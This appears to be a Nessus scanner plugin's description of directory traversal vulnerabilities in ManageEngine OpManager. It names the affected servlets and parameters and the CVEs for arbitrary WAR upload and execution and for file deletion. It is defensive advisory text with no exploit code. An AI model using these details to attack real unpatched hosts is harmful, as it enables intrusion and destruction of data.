"The version of ManageEngine OpManager installed on the remote host is
affected by multiple directory traversal vulnerabilities :

  - The FileCollector servlet fails to properly sanitize
    user-supplied input to the 'regionID' and 'FILENAME'
    parameters when uploading files. This allows a remote
    attacker and authenticated users to write to and
    execute arbitrary WAR files.
    (CVE-2014-6034, CVE-2014-6035)

  - The multipartRequest servlet fails to properly sanitize
    user-supplied input to the 'fileName' parameter. This
    allows a remote attacker and authenticated users to
    delete arbitrary files. (CVE-2014-6036)

Note that Nessus has tested for the two directory traversal and file
upload vulnerabilities; however, it did not test for the arbitrary
code execution or file deletion vulnerabilities. If a file can be
uploaded via the directory traversal attack, then the execution and
deletion flaws are likely exploitable as well.");
